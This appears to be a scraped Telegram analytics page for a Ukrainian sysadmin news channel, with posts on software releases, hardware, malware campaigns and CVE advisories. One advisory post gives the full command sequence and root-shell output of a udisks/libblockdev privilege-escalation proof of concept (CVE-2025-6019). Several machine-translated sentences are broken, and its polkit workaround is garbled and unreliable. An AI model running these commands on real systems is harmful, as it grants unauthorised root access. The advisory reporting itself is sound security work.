сисадмін ️️💻
رفتن به کانال در Telegram
Сисадмін - канал системного адміністратора, який веде нотатки, публікує тематичні новини та спостереження пересиланням з інших веб-ресурсів та каналів для вирішення повсякденних питань.
نمایش بیشتر571
مشترکین
اطلاعاتی وجود ندارد24 ساعت
-47 روز
-2630 روز
در حال بارگیری داده...
کانالهای مشابه
ابر برچسبها
اشارات ورودی و خروجی
---
---
---
---
---
---
جذب مشترکین
ژوئیه '25
ژوئیه '250
در 0 کانالها
ژوئن '25
+8
در 0 کانالها
Get PRO
مه '25
+35
در 2 کانالها
Get PRO
آوریل '25
+24
در 1 کانالها
Get PRO
مارس '25
+38
در 0 کانالها
Get PRO
فوریه '25
+64
در 0 کانالها
Get PRO
ژانویه '25
+95
در 0 کانالها
Get PRO
دسامبر '24
+72
در 0 کانالها
Get PRO
نوامبر '24
+39
در 1 کانالها
Get PRO
اکتبر '24
+17
در 0 کانالها
Get PRO
سپتامبر '24
+10
در 0 کانالها
Get PRO
اوت '24
+10
در 0 کانالها
Get PRO
ژوئیه '24
+12
در 0 کانالها
Get PRO
ژوئن '24
+5
در 0 کانالها
Get PRO
مه '24
+7
در 0 کانالها
Get PRO
آوریل '24
+24
در 0 کانالها
Get PRO
مارس '24
+61
در 0 کانالها
Get PRO
فوریه '24
+23
در 0 کانالها
Get PRO
ژانویه '24
+172
در 0 کانالها
Get PRO
دسامبر '23
+332
در 0 کانالها
Get PRO
نوامبر '23
+71
در 0 کانالها
Get PRO
اکتبر '23
+51
در 0 کانالها
Get PRO
سپتامبر '23
+40
در 0 کانالها
Get PRO
اوت '23
+24
در 0 کانالها
Get PRO
ژوئیه '23
+33
در 0 کانالها
Get PRO
ژوئن '23
+22
در 0 کانالها
Get PRO
مه '23
+17
در 0 کانالها
Get PRO
آوریل '23
+45
در 0 کانالها
Get PRO
مارس '23
+221
در 0 کانالها
Get PRO
فوریه '23
+124
در 0 کانالها
Get PRO
ژانویه '23
+142
در 0 کانالها
Get PRO
دسامبر '22
+236
در 0 کانالها
Get PRO
نوامبر '22
+99
در 0 کانالها
Get PRO
اکتبر '22
+45
در 0 کانالها
Get PRO
سپتامبر '22
+209
در 0 کانالها
Get PRO
اوت '22
+62
در 0 کانالها
Get PRO
ژوئیه '22
+76
در 0 کانالها
Get PRO
ژوئن '22
+155
در 0 کانالها
Get PRO
مه '22
+58
در 0 کانالها
Get PRO
آوریل '22
+74
در 0 کانالها
Get PRO
مارس '22
+13
در 0 کانالها
Get PRO
فوریه '22
+113
در 0 کانالها
Get PRO
ژانویه '22
+156
در 0 کانالها
Get PRO
دسامبر '21
+378
در 0 کانالها
Get PRO
نوامبر '21
+94
در 0 کانالها
Get PRO
اکتبر '21
+142
در 0 کانالها
Get PRO
سپتامبر '21
+127
در 0 کانالها
Get PRO
اوت '21
+1
در 0 کانالها
Get PRO
ژوئیه '21
+138
در 0 کانالها
Get PRO
ژوئن '21
+65
در 0 کانالها
Get PRO
مه '21
+144
در 0 کانالها
Get PRO
آوریل '21
+175
در 0 کانالها
Get PRO
مارس '21
+225
در 0 کانالها
Get PRO
فوریه '21
+615
در 0 کانالها
| تاریخ | رشد مشترکین | اشارات | کانالها | |
| 23 ژوئیه | 0 | |||
| 22 ژوئیه | 0 | |||
| 21 ژوئیه | 0 | |||
| 20 ژوئیه | 0 | |||
| 19 ژوئیه | 0 | |||
| 18 ژوئیه | 0 | |||
| 17 ژوئیه | 0 | |||
| 16 ژوئیه | 0 | |||
| 15 ژوئیه | 0 | |||
| 14 ژوئیه | 0 | |||
| 13 ژوئیه | 0 | |||
| 12 ژوئیه | 0 | |||
| 11 ژوئیه | 0 | |||
| 10 ژوئیه | 0 | |||
| 09 ژوئیه | 0 | |||
| 08 ژوئیه | 0 | |||
| 07 ژوئیه | 0 | |||
| 06 ژوئیه | 0 | |||
| 05 ژوئیه | 0 | |||
| 04 ژوئیه | 0 | |||
| 03 ژوئیه | 0 | |||
| 02 ژوئیه | 0 | |||
| 01 ژوئیه | 0 |
پستهای کانال
Перша вразливість (CVE-2025-6170) викликана переповненням буфера в реалізації інтерактивної оболонки xmllint, що використовується для аналізу XML-файлів. Переповнення виникає під час обробки дуже довгих аргументів команд через відсутність коректної перевірки розміру вхідних даних перед копіюванням даних функцією strcpy(). Для експлуатації вразливості атакуючий повинен мати можливість впливати на команди, що передаються в утиліту xmllint. Патч для усунення вразливості поки що недоступний.
Друга вразливість (CVE-2025-6021) є в реалізації функції xmlBuildQName() і призводить до запису даних за межі буфера через цілечисленне переповнення при обчисленні розміру буфера на основі префікса та локального імені. Для експлуатації вразливості атакуючий повинен домогтися підстановки своїх даних в аргументи prefix і ncname, що передаються в функцію xmlBuildQName(). Для усунення вразливості підготовлено патч.
Виправлення включено до складу випуску libxml2 2.14.4. Перевірити стан нової версії пакета або підготовки виправлення в дистрибутивах можна на наступних сторінках (якщо сторінка недоступна, то розробники дистрибутива ще не почали розглядати проблему): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo та Arch (1, 2).
Інші три проблеми призводять до аварійного завершення через звернення до вже звільненої області пам'яті у функції xmlSchematronGetNode (CVE-2025-49794), розіменування нульового покажчика на функції xmlXPathCompiledEval (CVE-2025-49795) і неправильно xmlSchematronFormatReport (CVE-2025-49796). Для усунення даних уразливостей розглядається можливість видалення з libxml2 підтримки мови Schematron.
Додатково зазначається наявність трьох невиправлених уразливостей у бібліотеці libxslt, що залишилася без активного супроводжуючого.
Інформація з цих проблем поки не розкривається і запланована до публікації 9 липня, 13 липня та 6 серпня. Невиправлені та публічно не оприлюднені вразливості також відзначаються у зв'язаних з GNOME проектах gvfs, libgxps, gdm, glib, GIMP та libsoup.
https://www.openwall.com/lists/oss-security/2025/06/16/6
| 2 |  Уразливості в бібліотеці libxml2, що потенційно призводять до виконання коду
У бібліотеці Libxml2, що розробляється проектом GNOME і застосовується для аналізу вмісту у форматі XML, виявлено 5 вразливостей, дві з яких потенційно можуть призвести до виконання коду при обробці спеціально оформлених зовнішніх даних. Бібліотека Libxml2 широко поширена у відкритих проектах і, наприклад, використовується як залежність у понад 800 пакетах зі складу Ubuntu. | 0 |
| 3 |  Оновлення антивірусного пакету ClamAV 1.4.3 та 1.0.9 з усуненням уразливостей
Компанія Cisco опублікувала нові випуски вільного антивірусного пакета ClamAV 1.4.3 та 1.0.98, у яких усунуто вразливості, одна з яких може призвести до виконання коду атакуючого під час перевірки спеціально оформленого вмісту.
https://blog.clamav.net/2025/06/clamav-143-and-109-security-patch.html | 0 |
| 4 | Готові збірки сформовані для Linux, Windows та MacOS. Код проекту написаний на JavaScript із використанням web-технологій та поширюється під вільною ліцензією AGPLv3.
В ONLYOFFICE заявлена повна сумісність із форматами MS Office та OpenDocument. Серед форматів, що підтримуються: DOC, DOCX, ODT, RTF, TXT, PDF, HTML, EPUB, XPS, DjVu, XLS, XLSX, ODS, CSV, PPT, PPTX, ODP. Передбачена можливість розширення функціональності редакторів через плагіни, наприклад, доступні плагіни для створення шаблонів та додавання відео з YouTube.
Окремо розвивається відкритий продукт ONLYOFFICE DesktopEditors, побудований на єдиній кодовій базі з online-редакторами та об'єднує в одному наборі клієнтські та серверні компоненти, оформлені для самодостатнього використання на локальній системі користувача та здатні працювати без звернення до зовнішнього сервісу.
https://www.onlyoffice.com/blog/2025/06/onlyoffice-docs-9-0-released | 0 |
| 5 |  +1Опубліковано офісний пакет ONLYOFFICE 9.0
Доступний випуск ONLYOFFICE DocumentServer 9.0 з реалізацією сервера для online редакторів ONLYOFFICE та організації спільної роботи. Редактори можна використовувати для роботи з текстовими документами, таблицями та презентаціями. Для спільної роботи на своїх потужностях можна використовувати платформу Nextcloud Hub, в якій забезпечена повна інтеграція з ONLYOFFICE. | 0 |
| 6 |  Anubis шифрує файли і відразу ж їх стирає
Дослідники Trend Micro виявили нову версію здирника Anubis, що працює за моделлю RaaS — «вимагач як послуга». Якщо жертва відмовляється платити, вірус не просто блокує файли, а знищує їх без відновлення.
Anubis вперше сплив у грудні 2024 року і тісно пов'язаний з іншим шкідливим явищем — Sphinx. Обидва використовують майже однаковий код та схему викупу. Відмінність — у нюансах формулювань та стилі загроз.
Розробники Anubis активно шукають «партнерів» на даркнет-форумах. Співучасники можуть заробляти до 80% від викупу, якщо вони достатньо мотивовані. Поки що зафіксовано лише 8 атак, але експерти вважають, що це — лише початок, проект явно будується в довгу. | 0 |
| 7 |  Віртуальна барабанна установка PocketDrum 2 від AeroBand - це компактна система, що складається з барабанних паличок, педалей і Bluetooth-адаптера, при цьому сама установка ніяких звуків не видає - звук виводиться на колонки або навушники і доступний через 8 вбудованих тембрів, USB-MIDI та затримку всього 6 м.
Пристрій важить близько 890 г, палички та педаль працюють від вбудованих акумуляторів з автономністю до 18 годин, підтримуються Android/iOS/ПК-пристрої без необхідності встановлення додатків, управління винесено в окремий модуль, що дозволяє використовувати PocketDrum 2 як тренувальний інструмент. | 0 |
| 8 |  До сходу дісталася SuperCard — нова шкідлива загроза через NFC
Вперше зафіксовані атаки на клієнтів банків за допомогою SuperCard - шкідливої модифікації легітимного NFC-додатку. Ще у квітні її тестували в Європі, а вже у травні – на східних користувачах Android.
Програма перехоплює NFC-трафік та дозволяє красти дані банківських карток. Жертву запевняють встановити APK під виглядом корисного софту. SuperCard поширюється через Telegram-канали, з «техпідтримкою» та платною підпискою. Подібні схеми вже застосовувалися з іншими модами NFCGate.
У коді SuperCard помітні відмінності від інших версій, ймовірно, її роблять різні угруповання. Функціонал швидко змінюється, і в даркнеті з'являється все більше збірок - зловмисники активно обкатують нові технології,.
Якщо вам пропонують «зручний» банківський додаток у месенджері – це не турбота, це фішинг.
Якщо програма просить доступ до NFC, але вона не про транспорт або оплату — у сміття.
А якщо в назві «Card», але вона не від банку, ігноруйте.
| 0 |
| 9 |  Роботи Boston Dynamics танцюють під пісню Don't Stop Me Now.
https://youtu.be/ptYDWP9uTis?si=JyJhfC5Lt8mJ1V-f | 0 |
| 10 |  Старий роутер – твій ворог
Хакери масово експлуатують критичну дірку у старих роутерах TP-Link. Вразливість CVE-2023-33538 (оцінка 8.8 з 10) дозволяє дистанційно виконувати команди без авторизації через криву обробку GET-запитів. Проблема стара як прошивка — але активно б'ють нею тільки зараз.
У зоні ризику моделі TL-WR940N V2/V4, TL-WR841N V8/V10 та TL-WR740N V1/V2. Останні апдейти для них виходили у 2015–2016 роках. Деякі з цих динозаврів досі продаються (!) та збирають тисячі відгуків.
Особливо небезпечні пристрої з увімкненим віддаленим доступом. Але навіть якщо ти відключив все - ризик залишається: експлойт може прийти з локалки через заражений ноут або телефон.
CISA вимагає видалити ці роутери із федеральних мереж США до 7 липня. А для звичайних користувачів рекомендація проста: міняй мотлох на актуальне залізо.
https://www.cisa.gov/news-events/alerts/2025/06/16/cisa-adds-two-known-exploited-vulnerabilities-catalog | 0 |
| 11 | Для обходу даного обмеження можна використовувати трюк, що дозволяє підняти рівень аутентифікації до "allow_active" через маніпуляції з запуском утилітою systemctl користувальницького сервісу, який polkitd сприйме як ознаку локального сеансу. ознак, на які можна вплинути. Обмеження методу в тому, що для обману polkitd потрібно, щоб у системі вже був активний сеанс локального користувача з фізичним доступом.
Другим методом отримання прав "allow_active" є експлуатація вразливості (CVE-2025-6018) в PAM (Pluggable Authentication Modules), яку дослідники з Qualys виявили в ході аналізу вразливості в libblockdev. "allow_active". Проблема специфічна для налаштувань PAM у openSUSE Leap 15 та SUSE Linux Enterprise 15, і виявляється лише у цих дистрибутивах.
У модулі pam_env в openSUSE і SUSE за замовчуванням включено читання файлу ~/.pam_environment. pam_env також викликається при підключенні по ssh в Debian 12 і Ubuntu 24.04 (у Debian 13 і Ubuntu 24.10+ він відключений), але виставлення змінних оточення в даних дистрибутивах не може застосовуватися для підвищення рівня доступу до "allow_active", так як pam_en pam_systemd та виставлені змінні оточення не можуть вплинути на параметри сеансу.
Що стосується вразливості в libblockdev, то атакуючий може примонтувати образ довільної файлової системи в loop-режимі, розмістивши в цьому образі виконуваний файл з прапором SUID root або спеціальний пристрій (/dev/mem) для низькорівневого доступу до дисків або пам'яті. Уразливість в libblockdev дає можливість примонтувати образ без прапорів nosuid і nodev.
Таким чином, атака зводиться до створення loop-пристрою на базі образу ФС XFS, в якому розміщений suid root файл, ініціювання операції зміни розміру loop-пристрою та відстеження моменту його монтування в каталог /tmp/blockdev*:
victim> killall -KILL gvfs-udisks2-volume-monitor
victim> udisksctl loop-setup --file ./xfs.image --no-user-interaction
Mapped file ./xfs.image as /dev/loop0.
victim>while true; do /tmp/blockdev*/bash -c' sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &
victim> gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
Error: GDBus.Error:org.freedesktop.UDisks2.Error.Failed: Error resizing filesystem на /dev/loop0: Захищений до unmount '/dev/loop0' after resizing it: target is busy
-r-sr-xr-x. 1 root root 1406608 Jun 18 09:42 /tmp/blockdev.RSM429/bash
victim> /tmp/blockdev*/bash -p
victim# id
uid=65534(nobody) gid=65534(nobody) euid=0(root) groups=65534(nobody)
Вразливість у лібблоковці поки усунена тільки у вигляді патчів. Перевірити стан нової версії пакета або підготовки виправлення в дистрибутивах можна на наступних сторінках (якщо сторінка недоступна, то розробники дистрибутива ще не почали розглядати проблему): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo та Arch (1, 2). В якості обхідних шляхів для блокування вразливості можна змінити правило доступу до операції "org.freedesktop.udisks2.modify-device" у polkit, змінивши у файлі /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy значення "allow_active" значення "allow_active".
Додатково можна відзначити розкриту кілька годин тому вразливість (CVE-2025-6020) у пакеті linux-pam, що дозволяє локальному користувачеві отримати права root. Модуль pam_namespace належним чином не перевіряв файлові шляхи, підконтрольні користувачеві, що дозволяло через маніпуляції із символічними посиланнями та досягненням стану гонки домогтися перезапису привілейованих файлів у системі. Уразливість усунена у випуску linux-pam 1.7.1. Перевірити стан нової версії пакета або підготовки виправлення у дистрибутивах можна на наступних сторінках: Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo та Arch (1, 2).
https://www.openwall.com/lists/oss-security/2025/06/17/4 | 0 |
| 12 |  Вразливості в PAM і libblockdev, що дозволяють отримати права root в системі
Компанія Qualys виявила вразливість (CVE-2025-6019) у бібліотеці libblockdev, що дозволяє через маніпуляції з фоновим процесом udisks отримати права root у системі.
Процес udisks застосовується практично у всіх дистрибутивах Linux і надає інтерфейс D-Bus для виконання операцій з накопичувачами, таких як монтування і форматування. Для здійснення дій з накопичувачами udisks викликає функції бібліотеки libblockdev. через локальну консоль або тих, хто запустив графічний сеанс. | 0 |
| 13 |  Реліз середовища розробки Qt Creator 17
Опубліковано випуск інтегрованого середовища розробки Qt Creator 17, призначеного для створення кроссплатформенных додатків з використанням бібліотеки Qt. Підтримується як розробка класичних програм мовою C++, і використання мови QML, у якому визначення сценаріїв використовується JavaScript, а структура і параметри елементів інтерфейсу задаються CSS-подібними блоками. Нова версія доступна у вигляді оновлення Qt Online Installer (комерційний, opensource). Offline-установники під комерційною ліцензією можна знайти на Qt Account Portal, а opensource-пакети - на відповідній сторінці завантажень. Це безкоштовне оновлення для всіх користувачів.
https://www.qt.io/blog/qt-creator-17-released | 0 |
| 14 |  Реліз робочого столу KDE Plasma 6.4
Після чотирьох місяців розробки опубліковано реліз середовища робочого столу KDE Plasma 6.4. Для оцінки роботи нових випусків KDE можна скористатися збірками від проектів KDE Neon та openSUSE (Argon, заснований на openSUSE Leap і Krypton, заснований на openSUSE Tumbleweed).
https://kde.org/announcements/plasma/6/6.4.0/ | 0 |
| 15 |  Intel готує 52-ядерну відповідь AMD
Інсайдер Chi11eddog розкрив зміни майбутніх настільних процесорів Intel Nova Lake-S. Флагман - Core Ultra 9 з 52 ядрами: 16 продуктивних, 32 енергоефективних і 4 LP-E ядра. Це вдвічі більше, ніж актуальний Core Ultra 9 285K. TDP - 150 Вт.
Процесори працюватимуть на новому сокеті LGA1854 із чіпсетами 900-ї серії. Виробники матплат вже тестують підтримку пам'яті до 10000 MT/s та модулів CUDIMM . Також розкрито конфігурації для всієї лінійки - від Core Ultra 3 до Core Ultra 9, всього 7 моделей з різними поєднаннями ядер.
https://wccftech.com/intel-confirms-nova-lake-s-nova-lake-u-p-core-only-bartlett-lake-s-desktops-panther-lake-laptops/ | 0 |
| 16 |  AMD показала першу мережну картку для Ultra Ethernet
На заході Advanced AI компанія AMD представила мережеву карту Pensando Pollara 400 – першу в індустрії з підтримкою нового стандарту Ultra Ethernet 1.0 та швидкістю до 400 Гбіт/с.
Стандарт розроблений спеціально для ШІ- та HPC-дат-центрів, де кожен наносекунд та байт на рахунку.
https://www.tomshardware.com/networking/amd-deploys-its-first-ultra-ethernet-ready-network-card-pensando-pollara-provides-up-to-400-gbps-performance | 0 |
| 17 |  Оновлення X.Org Server 21.1.17 з усуненням 6 уразливостей
Опубліковано коригувальні випуски X.Org Server 21.1.17 та DDX-компонента (Device-Dependent X) xwayland 24.1.7, що забезпечує запуск X.Org Server для організації виконання X11-додатків в оточеннях на базі Wayland. У новій версії X.Org Server усунуто 6 уразливостей. Проблеми потенційно можуть бути експлуатовані для підвищення привілеїв у системах, у яких X-сервер виконується з правами root, а також для віддаленого виконання коду в конфігураціях, в яких для доступу використовується перенаправлення сеансу X11 за допомогою SSH.
https://lists.x.org/archives/xorg-announce/2025-June/003609.html | 0 |
| 18 |  SimpleHelp знову у справі
Хакери масово атакують старі версії SimpleHelp – тулзи для віддаленого адміністрування. CISA б'є на сполох: з січня 2025 вразливості типу CVE-2024-57727 використовуються для отримання повного доступу, крадіжки даних та подальшого шифрування інфраструктури.
В одній із атак через скомпрометований сервер MSP зловмисники потрапили в мережі клієнтів, задіявши PowerShell, .LNK-файли, інструменти китайських APT-груп і навіть легальне програмне забезпечення для спостереження за співробітниками. Деякі жертви залишалися під ковпаком тиждень після зараження - для шпигунства або крадіжки чутливих даних.
На тлі сплеску активності та свіжих витоків у LockBit, експерти радять: оновіться до актуальної версії, відріжте SimpleHelp від інтернету та перевірте трафік. Якщо не ви, то ваші партнери можуть стати вхідною точкою. | 0 |
| 19 |  Випуск системи керування вихідними текстами Git 2.50
Опубліковано випуск розподіленої системи керування вихідними текстами Git 2.50. тегів та комітів. Код Git поширюється під ліцензією GPLv2+.
Порівняно з минулим випуском у нову версію прийнято 621 зміну, підготовлену за участю 98 розробників, з яких 35 вперше беруть участь у розробці.
https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/T/ | 0 |
| 20 |  Опубліковано захищений дистрибутив Securonis Linux 3.0
Відбувся випуск дистрибутива Securonis Linux 3.0, сфокусованого на збереженні конфіденційності та посиленні безпеки. дистрибутив для повсякденної роботи або завантаження в Live-режимі. Розмір iso-образу - 2.5 ГБ.
https://securonis.github.io/release-notes.html | 0 |
